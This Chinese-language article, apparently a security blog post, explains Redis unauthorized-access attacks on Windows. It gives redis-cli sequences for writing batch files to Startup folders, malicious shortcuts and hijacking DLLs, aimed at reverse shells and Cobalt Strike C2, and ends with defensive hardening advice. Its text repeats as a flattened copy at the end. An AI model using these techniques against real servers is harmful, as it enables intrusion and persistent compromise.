redis安全攻防-windows
字数 911 2025-08-30 06:50:35

Redis安全攻防 - Windows环境下的攻防技术

Windows写启动项

写入文件

在Windows系统中,攻击者可以利用Redis未授权访问漏洞写入恶意文件到启动目录,实现持久化控制:

  1. 启动目录位置

    • 当前用户启动目录:C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
    • 系统启动目录:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
  2. 利用Redis写入

    redis-cli -h [目标IP] config set dir "C:/Users/[用户名]/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
    redis-cli -h [目标IP] config set dbfilename "malicious.bat"
    redis-cli -h [目标IP] set x "\r\n\r\n[恶意命令]\r\n\r\n"
    redis-cli -h [目标IP] save
    

阅读写入的文件

验证文件是否成功写入:

type "C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\malicious.bat"

执行结果

当用户下次登录时,系统会自动执行该批处理文件,攻击者可以实现:

  • 反弹shell
  • 下载并执行恶意软件
  • 建立持久化后门

快捷方式覆盖

攻击者可以覆盖现有的快捷方式或创建新的快捷方式指向恶意程序:

  1. 创建恶意快捷方式

    redis-cli -h [目标IP] config set dir "C:/Users/[用户名]/Desktop/"
    redis-cli -h [目标IP] config set dbfilename "看起来无害.lnk"
    redis-cli -h [目标IP] set x "[恶意快捷方式内容]"
    redis-cli -h [目标IP] save
    
  2. 利用方式

    • 伪装成常用软件的快捷方式
    • 修改现有快捷方式的指向目标
    • 结合社会工程学诱导用户点击

Windows DLL劫持

利用Redis写入恶意DLL文件,利用Windows的DLL搜索顺序进行劫持:

  1. 常见DLL劫持目标

    • ws2_32.dll
    • kernel32.dll
    • user32.dll
  2. 攻击步骤

    redis-cli -h [目标IP] config set dir "C:/Program Files/[目标程序]/"
    redis-cli -h [目标IP] config set dbfilename "malicious.dll"
    redis-cli -h [目标IP] set x "[恶意DLL内容]"
    redis-cli -h [目标IP] save
    
  3. 出网:Cobalt Strike

    • 可以编写DLL与Cobalt Strike的Beacon进行通信
    • 实现隐蔽的C2通道
    • 绕过部分安全产品的检测

防御措施

  1. Redis配置加固

    • 设置强密码认证
    • 修改默认端口
    • 绑定特定IP
    • 禁用危险命令(如CONFIG、SAVE等)
  2. 系统防护

    • 设置启动目录的ACL权限
    • 监控对启动目录的写入操作
    • 部署EDR解决方案检测异常行为
  3. 网络防护

    • 限制Redis端口的网络访问
    • 部署IPS/IDS检测Redis利用行为
    • 定期审计网络配置

总结

Windows环境下的Redis安全攻防涉及多种持久化技术,攻击者可以利用Redis的未授权访问漏洞在目标系统上建立持久化控制。防御方应从Redis配置、系统权限和网络防护等多层面进行防护,同时建立有效的监控机制。

Redis安全攻防 - Windows环境下的攻防技术 Windows写启动项 写入文件 在Windows系统中,攻击者可以利用Redis未授权访问漏洞写入恶意文件到启动目录,实现持久化控制: 启动目录位置 : 当前用户启动目录: C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ 系统启动目录: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ 利用Redis写入 : 阅读写入的文件 验证文件是否成功写入: 执行结果 当用户下次登录时,系统会自动执行该批处理文件,攻击者可以实现: 反弹shell 下载并执行恶意软件 建立持久化后门 快捷方式覆盖 攻击者可以覆盖现有的快捷方式或创建新的快捷方式指向恶意程序: 创建恶意快捷方式 : 利用方式 : 伪装成常用软件的快捷方式 修改现有快捷方式的指向目标 结合社会工程学诱导用户点击 Windows DLL劫持 利用Redis写入恶意DLL文件,利用Windows的DLL搜索顺序进行劫持: 常见DLL劫持目标 : ws2_32.dll kernel32.dll user32.dll 攻击步骤 : 出网:Cobalt Strike : 可以编写DLL与Cobalt Strike的Beacon进行通信 实现隐蔽的C2通道 绕过部分安全产品的检测 防御措施 Redis配置加固 : 设置强密码认证 修改默认端口 绑定特定IP 禁用危险命令(如CONFIG、SAVE等) 系统防护 : 设置启动目录的ACL权限 监控对启动目录的写入操作 部署EDR解决方案检测异常行为 网络防护 : 限制Redis端口的网络访问 部署IPS/IDS检测Redis利用行为 定期审计网络配置 总结 Windows环境下的Redis安全攻防涉及多种持久化技术,攻击者可以利用Redis的未授权访问漏洞在目标系统上建立持久化控制。防御方应从Redis配置、系统权限和网络防护等多层面进行防护,同时建立有效的监控机制。